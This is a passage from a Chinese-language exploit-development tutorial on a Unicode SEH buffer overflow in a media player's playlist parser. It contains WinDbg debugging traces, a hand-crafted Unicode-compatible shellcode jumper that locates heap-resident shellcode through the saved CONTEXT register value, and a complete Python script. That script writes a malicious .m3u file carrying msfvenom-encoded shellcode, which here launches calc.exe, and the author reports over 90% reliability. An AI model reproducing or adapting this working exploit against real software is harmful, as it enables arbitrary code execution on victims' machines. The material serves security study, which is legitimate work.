在探究漏洞原理的过程中也提到过,转换宽字节的过程是根据长度动态分配堆空间,所以读取原始文件内容时很有可能也是根据长度分配的堆空间,因为实验环境没有开启ASLR,而且两次分配的时机很近,所以它们的相对地址应该是不变的:

0:000> g
(53c.c90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000031 ebx=04dd1614 ecx=0507b4f8 edx=00130000 esi=04dd15f8 edi=0012f240
eip=04bfc2a6 esp=0012e7f4 ebp=0012f260 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
DefaultPlaylist!XionPluginCreate+0x18776:
04bfc2a6 668902          mov     word ptr [edx],ax        ds:0023:00130000=6341
0:000> db 05073f58
05073f58  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A
05073f68  61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62  a5Aa6Aa7Aa8Aa9Ab
05073f78  30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35  0Ab1Ab2Ab3Ab4Ab5
05073f88  41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41  Ab6Ab7Ab8Ab9Ac0A
05073f98  63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63  c1Ac2Ac3Ac4Ac5Ac
05073fa8  36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31  6Ac7Ac8Ac9Ad0Ad1
05073fb8  41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41  Ad2Ad3Ad4Ad5Ad6A
05073fc8  64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65  d7Ad8Ad9Ae0Ae1Ae

在触发异常时观察到,ecx作为复制的源地址也就是宽字节的地址,和原始文件内容的地址的相对偏移也应该是不变的,这里计算为0x75a0。

那么劫持eip的过程还是可以利用覆盖SEH handler来做,比较熟悉SEH原理的同学(《逆向工程核心原理》)可能知道,当pop pop ret之后,esp指向的就是给handler传递的第三个处理参数——指向CONTEXT结构体的指针,而CONTEXT结构体则是用来备份异常发生时CPU寄存器的值,对其偏移0xac处保存的就是ecx中的值,调试也可验证如下(ecx保存着堆地址):

0:000> bp 00450015
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450015 esp=0012e298 ebp=0012e2b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
Xion+0x50015:
00450015 5b              pop     ebx
0:000> dd esp
0012e298  77f071b9 0012e380 0012f254 0012e39c
0012e2a8  0012e354 0012f254 77f071cd 0012f254
0012e2b8  0012e368 77f0718b 0012e380 0012f254
0012e2c8  0012e39c 0012e354 00450015 00000000
0012e2d8  0012e380 0012f254 77edf96f 0012e380
0012e2e8  0012f254 0012e39c 0012e354 00450015
0012e2f8  0012f240 0012e380 04e715f8 00420042
0012e308  00420042 00000041 01e8ad00 00000043
0:000> dd 0012e39c+9c
0012e438  0012f240 04e715f8 04e71614 00130000
0012e448  05110628 00000042 0012f260 04c9c2a6
0012e458  0000001b 00210206 0012e7f4 00000023
0012e468  4020027f 00000000 04ccde4c 00000000
0012e478  00000000 00000000 00001fa0 0000ffff
0012e488  00000000 00000000 00000000 00000000
0012e498  00000000 00000000 00000000 00000000
0012e4a8  00000000 00000000 00000000 00000000

最终的思路就是,利用SEH劫持eip后,自己手写一段Unicode兼容的shellcode,取出保存的ecx的值,再增加一个偏移定位至原始的shellcode字符串,最后跳转至该地址执行shellcode。

结合前文几点有趣的发现,可以构造shellcode jumper如下:

# SEH overflow

\x61                    popad
\x00\x6E\x00            add byte ptr [esi],ch
\x15\x00\x45\x00\x44    adc eax, 0x44004500
\x00\x6E\x00            add byte ptr [esi],ch     

# mov edx, edi; add edx, 0xac; mov eax, [edx]

\xb9\x00\xac\x00\x11    mov ecx, 0x1100ac00
\x00\x6E\x00            add byte ptr [esi],ch
\x57                    push edi
\x00\x6E\x00            add byte ptr [esi],ch
\x5a                    pop edx
\x00\xea                add dl, ch
\x00\x6E\x00            add byte ptr [esi],ch
\xb9\x00\x01\x00\x11    mov ecx, 0x11000100
\x00\xee                add dh, ch
\x00\x6E\x00            add byte ptr [esi],ch
\x52                    push edx
\x00\x6E\x00            add byte ptr [esi],ch
\x5c                    pop esp
\x00\x6E\x00            add byte ptr [esi],ch
\x58                    pop eax
\x00\x6E\x00            add byte ptr [esi],ch

# sub eax, 0x75a0 | 0x7300

\x05\x00\x01\x00\x11    add eax, 0x11000100
\x00\x6E\x00            add byte ptr [esi],ch
\x2d\x00\x74\x00\x11    sub eax, 0x11007400
\x00\x6E\x00            add byte ptr [esi],ch

# jmp eax

\x50                    push eax
\x00\x6E\x00            add byte ptr [esi],ch
\xc3                    ret

其中有三点需要说明一下:

  1. popad依次会pop出edi、esi、ebp、esp、ebx、edx、ecx、eax,所以edi中会保存CONTEXT结构体的指针,为了方便add的操作,所以先执行move edx, edi的操作。
  2. 因为add dl, 0xac会产生进位的结果,但又不会反应在dh上,所以进行了两次add操作。
  3. 根据偏移0x75a0可定位至原始shellcode的起始地址,为了越过开启的padding和jumper部分,偏移减少为0x7300,对应payload中偏移保持一致即可。

最后要考虑的就是使用什么样的shellcode了,和Part5一样加载的是playlist文件,最终还是使用encoder,使shellcode大部分为可见字符:

#!/usr/bin/env python3

padding = "A" * 265
next_seh = "\x61\x6e"
handler = "\x15\x45"
D = "\x44"
jumper = "\x6e\xb9\xac\x11\x6e\x57\x6e\x5a\xea\x6e\xb9\x01\x11\xee\x6e\x52\x6e\x5c\x6e\x58\x6e\x05\x01\x11\x6e\x2d\x74\x11\x6e\x50\x6e\xc3"

# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/alpha_upper -f python -v shellcode -n 16
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/alpha_upper
# x86/alpha_upper succeeded with size 455 (iteration=0)
# x86/alpha_upper chosen with final size 455
# Successfully added NOP sled from x86/single_byte
# Payload size: 471 bytes
# Final size of python file: 2540 bytes
shellcode =  ""
shellcode += "\x42\x9f\x43\x93\xd6\x48\x37\xf5\x92\x90\x4a\x93"
shellcode += "\x43\xf9\x92\x92\x89\xe3\xdb\xc9\xd9\x73\xf4\x5e"
shellcode += "\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
shellcode += "\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50"
shellcode += "\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += "\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
shellcode += "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
shellcode += "\x4c\x4b\x58\x4c\x42\x43\x30\x35\x50\x55\x50\x33"
shellcode += "\x50\x4d\x59\x5a\x45\x46\x51\x39\x50\x55\x34\x4c"
shellcode += "\x4b\x56\x30\x50\x30\x4c\x4b\x30\x52\x44\x4c\x4c"
shellcode += "\x4b\x30\x52\x42\x34\x4c\x4b\x43\x42\x46\x48\x54"
shellcode += "\x4f\x58\x37\x51\x5a\x51\x36\x36\x51\x4b\x4f\x4e"
shellcode += "\x4c\x37\x4c\x45\x31\x33\x4c\x35\x52\x46\x4c\x47"
shellcode += "\x50\x59\x51\x48\x4f\x44\x4d\x45\x51\x4f\x37\x4d"
shellcode += "\x32\x5a\x52\x46\x32\x56\x37\x4c\x4b\x56\x32\x42"
shellcode += "\x30\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x54"
shellcode += "\x51\x33\x48\x5a\x43\x51\x58\x35\x51\x48\x51\x50"
shellcode += "\x51\x4c\x4b\x31\x49\x51\x30\x53\x31\x49\x43\x4c"
shellcode += "\x4b\x51\x59\x45\x48\x5a\x43\x56\x5a\x50\x49\x4c"
shellcode += "\x4b\x37\x44\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b"
shellcode += "\x4f\x4e\x4c\x39\x51\x48\x4f\x34\x4d\x53\x31\x59"
shellcode += "\x57\x36\x58\x4d\x30\x54\x35\x4b\x46\x45\x53\x53"
shellcode += "\x4d\x4b\x48\x37\x4b\x53\x4d\x57\x54\x32\x55\x4a"
shellcode += "\x44\x31\x48\x4c\x4b\x30\x58\x56\x44\x45\x51\x59"
shellcode += "\x43\x52\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56"
shellcode += "\x38\x45\x4c\x45\x51\x59\x43\x4c\x4b\x55\x54\x4c"
shellcode += "\x4b\x33\x31\x58\x50\x4d\x59\x51\x54\x37\x54\x31"
shellcode += "\x34\x31\x4b\x51\x4b\x53\x51\x31\x49\x51\x4a\x46"
shellcode += "\x31\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x31\x4a\x4c"
shellcode += "\x4b\x52\x32\x5a\x4b\x4c\x4d\x51\x4d\x42\x4a\x33"
shellcode += "\x31\x4c\x4d\x4c\x45\x4e\x52\x55\x50\x53\x30\x43"
shellcode += "\x30\x50\x50\x45\x38\x56\x51\x4c\x4b\x32\x4f\x4b"
shellcode += "\x37\x4b\x4f\x49\x45\x4f\x4b\x4a\x50\x48\x35\x4f"
shellcode += "\x52\x30\x56\x33\x58\x59\x36\x4c\x55\x4f\x4d\x4d"
shellcode += "\x4d\x4b\x4f\x58\x55\x57\x4c\x44\x46\x53\x4c\x35"
shellcode += "\x5a\x4b\x30\x4b\x4b\x4d\x30\x33\x45\x53\x35\x4f"
shellcode += "\x4b\x37\x37\x35\x43\x42\x52\x42\x4f\x42\x4a\x45"
shellcode += "\x50\x46\x33\x4b\x4f\x49\x45\x43\x53\x35\x31\x52"
shellcode += "\x4c\x43\x53\x56\x4e\x33\x55\x32\x58\x52\x45\x53"
shellcode += "\x30\x41\x41"

payload = ""
payload += padding + next_seh + handler + D + jumper
payload += "B" * (0x2a0 - len(payload))
payload += shellcode
payload += "E" * (5000 - len(payload)) 

with open("crash.m3u", "wt", encoding="latin-1") as f:
    f.write(payload)

最终的exploit成功率有90%多,其中出错的情况没有深究,这里猜测是堆上的相对偏移有可能发生了变化,跳转至shellcode时导致异常。如果对于输入文件的内容长度没有限制的话,也可以考虑使用堆喷的方法来实现跳转,感兴趣的同学可以自行探索。

0x03 总结

有时候在危险函数或者关键函数下断点逆推函数调用流程,比正向逆向工程效率会更高一些。漏洞点是相似的,只要弄清楚了Unicode是如何转化的,再结合指令集的特性,漏洞利用的难度并没有想象中那么可怕。其实原文中实践了两个漏洞案例,第二漏洞因为栈空间不足无法拷贝完整的shellcode,也可以考虑覆盖返回地址、跳转至原始shellcode或者egg hunter等方法,篇幅所限就让我们在下一个part中见真章吧。

理解虚无,享受过程,莫思身外无穷事,且尽生前有限杯,逻辑也是个好东西。